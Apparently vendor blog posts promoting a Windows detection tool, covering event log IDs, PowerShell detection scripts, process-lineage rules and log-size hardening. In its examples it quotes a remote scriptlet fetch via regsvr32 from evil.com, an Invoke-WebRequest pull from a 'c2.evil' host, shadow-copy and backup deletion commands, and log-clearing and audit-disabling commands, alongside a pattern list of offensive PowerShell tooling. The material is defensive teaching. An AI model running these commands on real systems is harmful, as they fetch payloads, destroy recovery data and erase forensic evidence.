# For JSON output (integrate with SIEM/SOAR):
winsentinel export --json | jq '.killChain'

Every finding in your audit gets mapped to its kill chain position. Progression detection runs automatically. Predictions generate proactive recommendations. All of this happens locally, on your machine, with zero cloud dependencies — completely free for single-machine use.

The question isn’t "what’s wrong with my machine." The question is "is someone attacking my machine right now, and what are they going to do next?" Kill chain analysis answers both.

Windows Event Logs are simultaneously the most valuable and most underutilized forensic data source on any enterprise endpoint. They record every authentication attempt, every service installation, every policy change, every process creation — a complete audit trail that most organizations barely scratch the surface of. The problem isn't data availability. The problem is signal-to-noise ratio.

A single Windows workstation generates between 5,000 and 50,000 events per day depending on activity level. A domain controller can generate 500,000+. At that volume, naive "forward everything to the SIEM" strategies create a firehose that buries critical alerts under mountains of benign noise. Detection engineering for Windows Event Logs requires understanding which events matter, why they matter, and when their context transforms them from routine to malicious.

This post covers the detection engineering approach built into WinSentinel's Event Log Analysis module — the specific event IDs, correlation patterns, and threshold logic that separate signal from noise.

The High-Value Event IDs Every Defender Must Monitor

Of the hundreds of event types Windows generates, a relatively small set provides outsized forensic value. These are the events that, when properly correlated, expose attack chains from initial access through lateral movement to data exfiltration.

Authentication Events (Security Log)

Authentication is where most attacks become visible — either through brute-force patterns, credential stuffing, or lateral movement using compromised credentials.

• Event ID 4625 — Failed logon attempt. The single most important event for detecting brute-force attacks. Key fields: TargetUserName, LogonType, IpAddress, SubStatus (explains why it failed: wrong password, account locked, expired, disabled).
• Event ID 4624 — Successful logon. Especially critical after a series of 4625s (successful brute-force). LogonType=10 (RemoteInteractive/RDP) from unexpected IPs is a top-tier indicator. LogonType=3 (Network) from workstation-to-workstation indicates lateral movement.
• Event ID 4648 — Explicit credential logon. Someone used runas or passed credentials explicitly. Common in lateral movement when attackers use harvested credentials.
• Event ID 4776 — NTLM credential validation. Critical for detecting pass-the-hash attacks where Kerberos isn't used.

# Detection rule: Brute-force pattern
# 10+ failed logons (4625) to same account within 5 minutes,
# followed by successful logon (4624)

$timeWindow = 5  # minutes
$threshold = 10

$failed = Get-WinEvent -FilterHashtable @{
    LogName = 'Security'; Id = 4625
    StartTime = (Get-Date).AddMinutes(-$timeWindow)
} | Group-Object { $_.Properties[5].Value }  # TargetUserName

$bruteForced = $failed | Where-Object { $_.Count -ge $threshold }
foreach ($target in $bruteForced) {
    $success = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'; Id = 4624
        StartTime = (Get-Date).AddMinutes(-$timeWindow)
    } | Where-Object { $_.Properties[5].Value -eq $target.Name }
    if ($success) {
        # ALERT: Successful brute-force detected
        Write-Warning "Account '$($target.Name)' compromised via brute-force ($($target.Count) failed attempts → success)"
    }
}

Privilege Escalation Events

Once an attacker has a foothold, they escalate. These events reveal the moment local admin or SYSTEM privileges are obtained:

• Event ID 4672 — Special privileges assigned to a new logon. Fires when an account with admin-equivalent privileges (SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege, etc.) logs on. If this fires for a non-admin account, you have a problem.
• Event ID 4728/4732/4756 — Member added to a global/local/universal security group. Specifically watch for additions to Administrators, Domain Admins, Enterprise Admins, Schema Admins, and Backup Operators.
• Event ID 4697 — Service installed. Malware frequently installs itself as a service to achieve SYSTEM privileges and persistence. Services spawned from temp directories or with encoded command-line arguments are almost always malicious.
• Event ID 4688 — New process created (requires Audit Process Creation + Include command line in process creation events). The gold standard for detecting post-exploitation activity.

# Detection rule: Suspicious service installation
# New service + unusual binary path = persistence mechanism

$suspiciousPaths = @('\Temp\', '\AppData\', '\Downloads\', '\ProgramData\\.', 'cmd.exe /c', 'powershell')

Get-WinEvent -FilterHashtable @{ LogName='System'; Id=7045 } -MaxEvents 50 | ForEach-Object {
    $serviceName = $_.Properties[0].Value
    $imagePath = $_.Properties[1].Value
    foreach ($pattern in $suspiciousPaths) {
        if ($imagePath -match [regex]::Escape($pattern)) {
            Write-Warning "Suspicious service: '$serviceName' → $imagePath"
            break
        }
    }
}

Defense Evasion: Defender and Security Tool Tampering

Sophisticated attackers don't just exploit — they disable defenses. These events reveal when security controls are being neutralized:

• Event ID 5001 (Windows Defender) — Real-time protection disabled. If this wasn't triggered by an admin during maintenance, it's an attacker clearing the path.
• Event ID 5010/5012 — Malware scanning disabled / Defender service suspended. Same logic: unexpected disablement = compromise.
• Event ID 1102 (Security Log) — Audit log cleared. This is always suspicious. Legitimate administrators almost never clear the Security log. Attackers clear it to destroy evidence of their 4625/4624/4672/4688 events.
• Event ID 4719 — System audit policy changed. Attackers may disable audit policies to stop future events from being generated. If Process Creation auditing is suddenly disabled, the attacker is covering tracks for the next phase.

# Detection rule: Defender tamper detection
# Any Defender disable event outside a maintenance window = critical alert

$defenderEvents = @(5001, 5010, 5012, 5013, 5101)
$maintenanceHours = @(2, 3, 4)  # 2-4 AM = acceptable maintenance window

$tampering = Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-Windows Defender/Operational'
    Id = $defenderEvents
    StartTime = (Get-Date).AddHours(-24)
} -ErrorAction SilentlyContinue

foreach ($evt in $tampering) {
    $hour = $evt.TimeCreated.Hour
    if ($hour -notin $maintenanceHours) {
        Write-Warning "CRITICAL: Defender tampering at $($evt.TimeCreated) — Event $($evt.Id): $($evt.Message -split "`n" | Select-Object -First 1)"
    }
}

PowerShell Security Events

PowerShell is the #1 post-exploitation tool. Module logging and Script Block logging expose exactly what's being executed — even through obfuscation layers:

• Event ID 4103 (PowerShell Operational) — Module logging. Records every cmdlet invocation with parameters. Catches Invoke-Mimikatz, Invoke-WebRequest to suspicious URLs, Get-ADUser enumeration, etc.
• Event ID 4104 — Script Block logging. The most powerful single detection event. Records the full script text after deobfuscation. Even if the attacker encodes their script in Base64 and wraps it in three layers of Invoke-Expression, 4104 records the final decoded text that actually executes.
• Event ID 400/403 (Windows PowerShell) — Engine lifecycle. HostApplication field reveals what launched PowerShell. If HostApplication is cmd.exe with an encoded command, that's suspicious.

# Detection rule: Suspicious PowerShell patterns in Script Block logs
# These patterns indicate offensive tooling, not admin scripts

$maliciousPatterns = @(
    'Invoke-Mimikatz',              # Credential dumping
    'Invoke-Kerberoast',            # Kerberos ticket extraction
    'Get-GPPPassword',              # Group Policy Preference passwords
    'Invoke-SMBExec',               # Lateral movement
    'Invoke-WMIExec',               # Lateral movement
    'New-Object.*Net.WebClient',    # Download cradle
    'System.Reflection.Assembly',   # In-memory .NET assembly load
    'VirtualAlloc.*VirtualProtect', # Shellcode injection pattern
    '-bxor|-band.*0x',              # XOR decryption (obfuscation)
    'AMSI.*Bypass',                 # Anti-malware bypass attempt
    'Set-MpPreference.*-Disable'    # Defender disable via PowerShell
)

Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'; Id = 4104
    StartTime = (Get-Date).AddHours(-1)
} -ErrorAction SilentlyContinue | ForEach-Object {
    $scriptBlock = $_.Properties[2].Value
    foreach ($pattern in $maliciousPatterns) {
        if ($scriptBlock -match $pattern) {
            Write-Warning "Malicious PowerShell detected: pattern '$pattern' at $($_.TimeCreated)"
            Write-Warning "Script: $($scriptBlock.Substring(0, [Math]::Min(200, $scriptBlock.Length)))..."
            break
        }
    }
}

Correlation: From Individual Events to Attack Chains

Individual events are informative. Correlated events are actionable. The real power of event log forensics lies in linking related events across time windows to reconstruct complete attack chains.

Pattern: Brute Force → Logon → Privilege Escalation

The classic credential compromise chain:

1. 4625 × N — Multiple failed logons to one account (brute force)
2. 4624 (LogonType=10) — RDP logon succeeds with same account
3. 4672 — Privileged logon (attacker got admin)
4. 4688 — Process creation showing reconnaissance (whoami, net user, ipconfig)
5. 4697/7045 — Service installation (persistence)

Each individual event is weak. A failed logon happens thousands of times a day. But the sequence — 4625→4624→4672→4688→4697 within a 30-minute window against the same account — is nearly 100% confidence of compromise.

Pattern: Defense Disable → Payload Drop → Persistence

1. 5001 — Defender real-time protection disabled
2. 4104 — PowerShell downloads executable (Invoke-WebRequest)
3. 4688 — New process from Temp directory
4. 7045 — Service installed pointing to dropped binary
5. 4719 — Audit policy modified (covering tracks)

Pattern: Lateral Movement via WMI/PsExec

1. 4624 (LogonType=3) — Network logon from internal IP (not a server)
2. 4672 — Admin privileges on the target
3. 4688 — wmiprvse.exe spawning cmd.exe or powershell.exe
4. 7045 — PSEXESVC service installed (PsExec artifact)

WinSentinel's Event Log Analysis correlates these patterns in real-time across Security, System, PowerShell, and Defender operational logs — building the complete picture that individual event monitoring misses.

Thresholding: Eliminating False Positives Without Missing Attacks

The difference between a useful detection rule and an alert-fatigue generator is thresholding. Raw event monitoring produces too many false positives to be actionable. Effective detection requires understanding normal baselines and setting thresholds that minimize noise while preserving detection fidelity.

Failed Logon Thresholds

A single 4625 event is meaningless — users mistype passwords constantly. But the threshold depends on context:

• Interactive workstation: 5+ failures in 5 minutes is suspicious (user would reset or call help desk)
• Service accounts: ANY 4625 is suspicious (service accounts don't mistype passwords)
• Domain admin accounts: 3+ failures in 10 minutes warrants investigation
• After-hours failures: Lower threshold (3+) since legitimate users are unlikely to be active

Process Creation Baselines

Event 4688 fires for every process. The key is filtering to suspicious patterns:

• Process image path in unusual locations (Temp, AppData, Recycle Bin)
• Encoded command-line arguments (-enc, -e, -EncodedCommand for PowerShell)
• Multiple reconnaissance tools in sequence (whoami → net user → net group → ipconfig /all within 60 seconds)
• Process creation at unusual times (3 AM on a workstation that's normally idle)

WinSentinel's Approach

Rather than static thresholds, WinSentinel's Event Log Analysis uses adaptive detection:

• Sliding window analysis — examines patterns within configurable time windows (default 5/15/60 minutes)
• Account type awareness — applies different thresholds to service accounts vs. interactive users vs. admin accounts
• Time-of-day weighting — events during business hours receive lower urgency than identical events at 3 AM
• Correlation scoring — individual weak signals combine into strong indicators when they form known attack chain patterns

Enabling the Right Audit Policies

None of this works if the events aren't being generated. Windows doesn't enable comprehensive auditing by default. Here's the minimum audit policy configuration for effective detection:

# Essential audit policies for detection engineering:
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Security Group Management" /success:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable
auditpol /set /subcategory:"Security System Extension" /success:enable

# Enable command-line in process creation events (critical!):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# Enable PowerShell Script Block logging:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f

# Enable PowerShell Module logging:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" /v * /t REG_SZ /d * /f

WinSentinel's Event Log Analysis module checks whether these policies are active. If they're not enabled, the module reports it as a finding — because you can't detect what you're not logging.

Real-World Scenario: Detecting a Ransomware Precursor

Here's how event log correlation catches a ransomware attack in its preparation phase — before encryption begins:

Hour 0: Attacker sends phishing email with malicious Excel attachment.

• Event 4688: EXCEL.EXE spawns cmd.exe (caught by Process Lineage)
• Event 4104: PowerShell Script Block shows Invoke-WebRequest -Uri http://c2.evil/loader.exe

Hour 1: Attacker establishes persistence and begins reconnaissance.

• Event 7045: New service WinUpdateSvc installed from C:\Users\Public\svc.exe
• Event 4688: Rapid sequence of whoami, net user /domain, net group "domain admins", nltest /dclist:

Hour 2: Attacker disables defenses and moves laterally.

• Event 5001: Defender real-time protection disabled
• Event 4624 (Type 3): Network logons to 12 workstations from compromised account
• Event 4672: Admin privilege assertion on each target

Hour 3: Ransomware preparation (this is where you must catch it).

• Event 4688: vssadmin.exe delete shadows /all /quiet — deleting Volume Shadow Copies
• Event 4688: wbadmin.exe delete catalog -quiet — deleting backup catalog
• Event 4688: bcdedit.exe /set {default} recoveryenabled no — disabling Windows Recovery

WinSentinel flags all of these as they occur. The combination of Defender disable + VSS deletion + backup deletion is a critical finding that maps to ransomware precursor activity (MITRE T1490: Inhibit System Recovery). By the time you see this sequence, you have minutes — not hours — to respond.

From Analysis to Action: The Detection Engineering Lifecycle

Building effective event log detections isn't a one-time setup. It's an iterative engineering process:

1. Hypothesis — "Attackers using WMI for lateral movement will generate 4624→4672→wmiprvse→cmd events"
2. Validate — Test the hypothesis with attack simulation (Atomic Red Team, manual testing)
3. Threshold — Determine what separates malicious patterns from legitimate admin activity
4. Deploy — Implement the detection rule with appropriate alerting
5. Tune — Monitor false positives, adjust thresholds, add exclusions for known-good activity
6. Evolve — Update as attackers change TTPs (Tactics, Techniques, and Procedures)

WinSentinel automates steps 1-4 for the most common attack patterns. The module ships with pre-built detection logic for 15+ event correlation patterns, each validated against real-world attack data and mapped to MITRE ATT&CK.

Scaling Event Log Analysis Across a Fleet

Event log analysis on a single machine is powerful. Across a fleet, it becomes transformative. Attack patterns that are invisible on one endpoint become obvious when correlated across many:

• Password spray detection — 1 failed logon per machine is noise. The same account failing across 50 machines in 10 minutes is a spray attack. Only fleet-wide correlation catches this.
• Lateral movement visualization — mapping 4624 (Type 3) events across the fleet reveals the attacker's path through the network as a graph.
• Defender tampering patterns — if Defender is disabled on 3 machines within an hour, that's coordinated activity — not three unrelated admin actions.
• Baseline deviation — understanding what's "normal" for each machine class (workstation vs. server vs. DC) enables anomaly detection that per-machine analysis can't achieve.

WinSentinel Pro brings fleet-wide event log correlation. Each agent runs the Event Log Analysis module locally, then reports findings to the central control plane where cross-node patterns are identified. Password sprays, coordinated Defender disablement, and lateral movement paths that are invisible to individual endpoints become immediately visible at fleet scale.

Getting Started

Run WinSentinel's Event Log Analysis right now to see what your logs reveal:

# Install WinSentinel
dotnet tool install --global WinSentinel.Cli

# Run a full audit (includes Event Log Analysis)
winsentinel --audit

# Or run just the Event Log module
winsentinel --audit --modules "Event Log Analysis"

The module will check your audit policy configuration, scan recent events for suspicious patterns, and report any detection rule hits — from brute-force attempts to Defender tampering to suspicious service installations. Every finding includes the specific event IDs, timestamps, and MITRE ATT&CK mappings you need to investigate.

Stop forwarding raw events to a SIEM and hoping someone notices. Start detecting with precision.

The most dangerous attacks don't involve malware at all. They use the tools Windows ships with — PowerShell, certutil, mshta, rundll32, regsvr32 — to achieve their objectives. The technique is called "Living off the Land" (LOL), and the binaries used are called LOLBins (Living off the Land Binaries). MITRE ATT&CK catalogs dozens of these, and they share one critical property: antivirus won't flag them because they're legitimate, signed Microsoft executables.

So how do you catch an attacker using your own tools against you? You don't look at what is running — you look at who started it. That's process lineage analysis: examining the parent-child relationships between running processes to identify chains that should never exist.

Why Parent-Child Relationships Matter

Every process on Windows has a parent — the process that created it. When you double-click Notepad from Explorer, the chain is explorer.exe → notepad.exe. That's normal. When you open PowerShell from the Start menu, it's explorer.exe → powershell.exe. Also normal.

But when Microsoft Word spawns PowerShell? That's winword.exe → powershell.exe — a classic indicator of macro-based malware. When a browser spawns cmd.exe? That's chrome.exe → cmd.exe — possibly a drive-by compromise. When WMI spawns a command interpreter? That's lateral movement.

The individual processes are all legitimate. PowerShell is legitimate. Word is legitimate. The relationship is what's suspicious. This is the fundamental insight behind process lineage analysis: context reveals intent.

The 12 Suspicious Lineage Patterns

WinSentinel's Process Lineage Audit checks every running process against 12 empirically-derived rules, each mapped to a specific MITRE ATT&CK technique. Here are the most critical:

Critical: Office → Script Engine

If Word, Excel, PowerPoint, or Outlook spawns cmd.exe, powershell.exe, wscript.exe, cscript.exe, or mshta.exe, you almost certainly have a malicious macro executing. This maps to T1204.002 (User Execution: Malicious File) and is the #1 initial access vector for phishing attacks.

# What this looks like in process tree:
winword.exe (PID 5832)
  └─ cmd.exe (PID 9014)
       └─ powershell.exe (PID 9128)
            └─ certutil.exe (PID 9256)  ← downloading payload

# This is a textbook phishing chain:
# 1. User opens malicious .docm attachment
# 2. Macro launches cmd.exe
# 3. cmd spawns powershell to download staged payload
# 4. certutil decodes/downloads the real malware

Critical: Browser → Script Engine

Chrome, Edge, Firefox, or Brave spawning cmd.exe or powershell.exe indicates T1189 (Drive-by Compromise). The user visited a malicious page that exploited a browser vulnerability to gain code execution. Unlike Office macros, the user didn't even need to open a file — they just visited a URL.

Critical: Script Engine → Network Utility

When powershell.exe or wscript.exe spawns certutil, bitsadmin, or curl, the attacker is retrieving a second-stage payload. This is T1105 (Ingress Tool Transfer) — the moment the attacker transitions from "I have execution" to "I'm bringing in real tools." This is your last chance to catch them before they establish persistence.

Critical: WMI → Execution Engine

wmiprvse.exe spawning cmd.exe, powershell.exe, or rundll32.exe is T1047 (Windows Management Instrumentation) — one of the most reliable indicators of lateral movement. An attacker on Machine A uses WMI to execute commands on Machine B without ever establishing an interactive session. The WMI provider host (wmiprvse.exe) is the process that handles the execution request.

# Lateral movement via WMI:
wmiprvse.exe (PID 1024)   ← WMI provider host
  └─ powershell.exe (PID 4492)
       └─ net.exe (PID 4510)  ← attacker enumerating network

Warning: LOLBin Proxy Execution

Several Windows binaries can be abused to execute arbitrary code while appearing legitimate in logs:

• mshta.exe — T1218.005 — Executes arbitrary HTA content including VBScript/JScript. Commonly used to bypass AppLocker rules that allow Microsoft-signed binaries.
• rundll32.exe — T1218.011 — Loads and executes arbitrary DLLs. Spawned from script engines or WMI, this indicates the attacker is executing malicious code through a signed proxy.
• regsvr32.exe — T1218.010 — Registers COM objects but can also execute remote scriptlets. regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll downloads and executes code without touching disk.
• certutil.exe — T1140 — Windows certificate utility that can also download files (-urlcache) and decode base64 payloads (-decode). The Swiss Army knife of LOLBins.

When these binaries appear with suspicious parents (cmd, powershell, wscript, or WMI), WinSentinel flags them. The binary itself isn't malicious — the context of who spawned it is.

Beyond Lineage: Orphaned Processes and Deep Nesting

Process lineage analysis doesn't stop at parent-child rules. WinSentinel checks two additional indicators:

Orphaned Processes

An orphaned process is one whose parent process no longer exists. While some orphaning is normal (the parent finishes its work and exits), a high count of orphaned processes can indicate:

• Process injection — malware injecting code into a legitimate process, then the injector exits. The injected process runs orphaned.
• Parent PID spoofing — a technique where malware creates a process with a fake parent PID to hide its true origin. When the "fake" parent doesn't exist, the child appears orphaned.
• Anti-forensics — the attacker terminates the initial exploitation chain (browser, Office, etc.) to erase the lineage evidence, leaving their persistent processes orphaned.

# WinSentinel orphan detection:
[WARNING] Orphaned Processes Detected (14)
  Found 14 processes whose parent process no longer exists.
  Sample: suspicious-svc (PID 8812), helper64 (PID 9102), ...
  Review orphaned processes running from unusual locations.

Deep Interpreter Nesting

Legitimate automation rarely nests more than 2 levels of command interpreters. When you see 3 or more levels of cmd/powershell/wscript chained together, it's usually an obfuscation technique:

# Suspicious deep nesting:
cmd.exe
  └─ powershell.exe -enc [base64]
       └─ cmd.exe /c "..."
            └─ powershell.exe -nop -w hidden -c ...
                 └─ certutil.exe -urlcache -f ...

# Each layer decodes or deobfuscates the next command.
# The attacker is intentionally making analysis difficult.

WinSentinel's depth analysis walks the full process tree and flags any chain with 3+ levels of nested interpreters. Each level of indirection is another barrier for incident responders — and a signal of adversary sophistication.

Safe Exclusions: Reducing False Positives

Not every suspicious-looking chain is an attack. WinSentinel maintains a set of known-safe parent-child combinations to minimize noise:

• svchost → taskhostw — Normal Windows task scheduling
• services → svchost — Standard service control manager behavior
• explorer → cmd — User right-clicking "Open command window here" is extremely common and benign

These exclusions are carefully curated. A rule is only added after confirming that the combination is consistently benign across enterprise deployments. False positive reduction is critical — if an alert fires on every machine, defenders learn to ignore it.

Real-World Attack Chains WinSentinel Catches

Scenario 1: Emotet-Style Phishing

outlook.exe → winword.exe → cmd.exe → powershell.exe

Triggered rules:
  [CRITICAL] Office Application Spawning Script Engine [T1204.002]
  [WARNING] Command Prompt Spawning PowerShell [T1059.001]

The user opened an email attachment in Outlook, which launched Word
with a .docm file containing a malicious macro. The macro spawned
cmd.exe, which launched PowerShell to download the Emotet dropper.

Scenario 2: Lateral Movement via WMI

wmiprvse.exe → cmd.exe → whoami.exe
                        → net.exe (net group "Domain Admins")
                        → powershell.exe (Invoke-WebRequest...)

Triggered rules:
  [CRITICAL] WMI Spawning Execution Engine [T1047]

Attacker on another machine used wmic to execute reconnaissance
commands on this endpoint. WMI provider host spawning cmd and
network enumeration tools is textbook lateral movement.

Scenario 3: Scheduled Task Persistence

svchost.exe (Task Scheduler) → mshta.exe → powershell.exe

Triggered rules:
  [WARNING] Scheduled Task Spawning Script Engine [T1053.005]
  [WARNING] Potential LOLBin Abuse: mshta [T1218.005]

Attacker created a scheduled task that runs mshta.exe with a URL
pointing to a remote HTA file. mshta downloads and executes the
script, which spawns PowerShell for the actual payload. Classic
multi-stage persistence that survives reboots.

Running a Process Lineage Audit

# Install WinSentinel:
dotnet tool install --global WinSentinel.Cli

# Run process lineage analysis:
winsentinel --audit --modules process-lineage

# Example output:
 Process Lineage Audit
 ──────────────────────────────────────────────────────
 [CRITICAL] Critical Process Lineage Violations (2)
   • outlook → powershell (PID 8412): Office Application
     Spawning Script Engine [T1204.002]
   • wmiprvse → cmd (PID 9018): WMI Spawning Execution
     Engine [T1047]

 [WARNING] Suspicious Process Lineage Patterns (3)
   • svchost → mshta (PID 5512): Scheduled Task Spawning
     Script Engine [T1053.005]
   • cmd → rundll32 (PID 6230): Potential LOLBin Abuse:
     rundll32 [T1218.011]
   • powershell → certutil (PID 7128): Potential LOLBin
     Abuse: certutil [T1140]

 [PASS] No Orphaned Processes
 [PASS] No Deep Interpreter Nesting

Each finding includes the full MITRE ATT&CK technique ID, the parent and child process names with PIDs, and remediation guidance including the PowerShell commands needed to terminate the suspicious chain.

Process Lineage vs. Traditional Detection

Here's why process lineage analysis catches what traditional tools miss:

• Antivirus — checks file signatures and behavioral patterns of individual processes. When powershell.exe runs, AV sees a signed Microsoft binary. The command might be flagged by AMSI, but the process itself passes inspection. Lineage analysis sees that PowerShell was spawned by Word — something AV doesn't consider.
• EDR — most EDR tools do perform lineage analysis, but they require cloud infrastructure, continuous connectivity, and significant tuning. WinSentinel does it locally in a single scan with zero external dependencies.
• Sysmon — the gold standard for process creation logging, but it's a data source, not an analyzer. Sysmon logs the events; someone (or something) still needs to analyze the parent-child relationships. WinSentinel does the analysis automatically.
• AppLocker/WDAC — blocks unauthorized binaries from running, but LOLBins are authorized Microsoft binaries. You can't block powershell.exe without breaking half your IT automation. Lineage analysis catches the abuse pattern instead of blocking the tool entirely.

From Detection to Prevention

Process lineage analysis is primarily a detection tool — it catches attacks in progress or after the fact. But the findings drive preventive action:

• Office macro hardening — If you see Office → Script Engine chains, enforce macro execution policies. Block macros from the internet entirely (Group Policy → Trust Center settings). Most organizations that do this eliminate 80% of their phishing-based initial access risk.
• PowerShell Constrained Language Mode — Restricts PowerShell to a subset of functionality that prevents most attack techniques while preserving administrative scripting. Combined with Script Block Logging, this makes PowerShell-based attacks both harder and more visible.
• AppLocker with script rules — While you can't block LOLBins outright, you can restrict which directories they're allowed to execute from and which parent processes can launch them.
• WMI subscription auditing — If WMI-based lateral movement appears in lineage analysis, enable WMI event subscription auditing and restrict WMI access to authorized management tools.

Fleet-Wide Lineage Monitoring

On a single machine, a process lineage audit gives you a point-in-time snapshot. Across a fleet, it gives you a threat detection capability. With WinSentinel Pro, every agent-equipped machine runs continuous lineage analysis and reports suspicious chains to the central dashboard:

# Fleet-wide process lineage summary (Pro):
winsentinel fleet status --filter process-lineage

Fleet Lineage Analysis (87 nodes reporting)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Critical chains:  3 across 2 nodes
Warning chains:  12 across 8 nodes
Orphaned procs:   2 nodes with high orphan counts
Deep nesting:     0 nodes flagged

Active Threats:
  DESKTOP-8XK2: outlook → cmd → powershell [T1204.002]
    First seen: 2026-06-07 09:14:22 UTC
    Action: Isolate endpoint, initiate IR

  SERVER-DB01: wmiprvse → cmd → whoami [T1047]
    First seen: 2026-06-07 11:02:15 UTC
    Action: Investigate lateral movement source

The fleet view transforms process lineage from "single machine forensics" into "enterprise threat detection." When the same suspicious pattern appears on multiple machines simultaneously, you're looking at an active intrusion — and you know exactly which machines are affected.

Getting Started

Run a process lineage audit right now:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit --modules process-lineage

Every finding includes the MITRE ATT&CK technique ID, full parent-child chain, and actionable remediation steps. The free tier gives you complete process lineage analysis on any Windows machine — no agents, no cloud, no license required.

Your attacker already knows which LOLBins are on your machine. The question is whether you know how they're being used. Process lineage analysis turns Windows' built-in tools from a liability into a detection surface. For fleet-wide continuous monitoring with automated alerting, see WinSentinel Pro.

I've worked incident response cases where the entire investigation boiled down to one question: "Do the event logs go back far enough?" In roughly two-thirds of those cases, the answer was no. Not because the logs were deleted by the attacker — because Windows rolled them over automatically due to default size limits that haven't kept up with modern forensic needs.

The default Security event log on Windows 11 is 20 MB. On a machine with moderate activity, that's 3–7 days of history. The default Application and System logs are also 20 MB each. If an attacker establishes persistence on Monday and your SOC doesn't notice until Thursday, the initial compromise events may already be gone — not wiped, just overwritten by the operating system doing exactly what it was configured to do.

Event log hardening isn't glamorous. It won't stop an attack. But it determines whether you can reconstruct what happened afterward — and whether your compliance evidence holds up in an audit.

What Attackers Do to Your Logs

Sophisticated adversaries target event logs actively. The techniques, in order of sophistication:

• Clear the Security log — The classic move. wevtutil cl Security wipes every event. Ironically, this itself generates Event ID 1102 (audit log cleared) — but only if someone is collecting that event externally.
• Stop the Event Log service — net stop EventLog or killing the service process. No service, no logging. New events are silently dropped.
• Disable audit policies — Instead of clearing logs, disable the policies that generate events. auditpol /set /category:* /success:disable /failure:disable. The log file still exists but stops growing. Subtle and often missed.
• Selective event deletion — Tools like Phant0m and Invoke-Phant0m kill the threads inside the Event Log service responsible for processing specific event sources — without stopping the service itself. Other logs keep flowing. Only the Security log goes silent.
• Timestamp manipulation — Modify the $STANDARD_INFORMATION attribute on EVTX files to make them appear untouched. Forensic tools that rely on file timestamps instead of internal event timestamps get fooled.

Here's the uncomfortable truth: if you're relying on the endpoint's own logs as your only forensic source, a skilled attacker can erase their tracks completely. Log hardening is necessary, but it's only fully effective when combined with off-machine log forwarding.

The Six Event Logs That Actually Matter

Windows has over 300 event log channels. You don't need all of them. For security forensics and incident response, six are critical:

1. Security (Security.evtx)

The crown jewel. Contains logon events (4624/4625), privilege use (4672/4673), object access, policy changes, and account management. If you only harden one log, harden this one.

Key event IDs to never lose:

• 4624 — Successful logon (tracks who accessed the machine and how)
• 4625 — Failed logon (brute force detection)
• 4648 — Explicit credential logon (RunAs, lateral movement indicator)
• 4672 — Special privileges assigned (admin logon)
• 4720/4726 — Account created/deleted
• 4732/4733 — Member added to/removed from local group (admin escalation)
• 1102 — Audit log cleared (anti-forensics indicator)

2. System (System.evtx)

Service installations, driver loads, time changes, and shutdowns. Event ID 7045 (new service installed) is one of the most reliable persistence indicators — and it lives here, not in Security.

3. PowerShell Operational (Microsoft-Windows-PowerShell/Operational)

If you've followed our PowerShell hardening guide, Script Block Logging (Event ID 4104) writes decoded command output here. This is where you'll find the actual commands an attacker ran — including deobfuscated payloads.

4. Sysmon (if installed)

Sysmon isn't a default Windows component, but if you've deployed it, its log (Microsoft-Windows-Sysmon/Operational) captures process creation with full command lines, network connections, file creation timestamps, and registry modifications. It's the single best forensic data source on Windows — and its default log size is 64 MB. Not enough.

5. Windows Defender Operational

Microsoft-Windows-Windows Defender/Operational — records every detection, quarantine action, scan result, and real-time protection event. If Defender detected something and auto-quarantined it, the evidence of what it found lives here. Default size: 16 MB.

6. Task Scheduler Operational

Microsoft-Windows-TaskScheduler/Operational — records task creation, modification, and execution. Scheduled tasks are the #2 persistence mechanism (after services). If an attacker creates a scheduled task at 2 AM and you don't check until 9 AM, this log tells you exactly when and what.

Proper Log Size Configuration

The default 20 MB per channel is a holdover from an era when disk space was expensive. On a modern machine with a 512 GB+ drive, there's no reason not to allocate meaningful retention:

# Recommended minimum sizes for forensic retention
# Security: 256 MB (30-90 days on typical workstation)
wevtutil sl Security /ms:268435456

# System: 128 MB
wevtutil sl System /ms:134217728

# PowerShell Operational: 128 MB
wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:134217728

# Windows Defender Operational: 64 MB
wevtutil sl Microsoft-Windows-Windows-Defender/Operational /ms:67108864

# Task Scheduler Operational: 64 MB
wevtutil sl Microsoft-Windows-TaskScheduler/Operational /ms:67108864

# Sysmon (if deployed): 256 MB
wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:268435456

Total additional disk usage: under 1 GB. That's 0.2% of a 512 GB SSD for the difference between "we can investigate this breach" and "the evidence rotated away three days ago."

Audit Policy: Generating the Right Events

Increasing log size only helps if you're generating the right events in the first place. Windows ships with minimal audit policies enabled. Most security-relevant event categories are either not audited or only audit failures (missing successful actions entirely).

Here's the audit policy configuration that balances forensic value with log volume:

# Enable critical audit categories
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Special Logon" /success:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Security State Change" /success:enable
auditpol /set /subcategory:"Security System Extension" /success:enable

# Verify current state
auditpol /get /category:*

The key additions over defaults: Process Creation with success gives you Event ID 4688 (new process created) — a poor man's Sysmon if you can't deploy Sysmon. Sensitive Privilege Use catches credential theft attempts. Security Group Management catches admin escalation in real time.

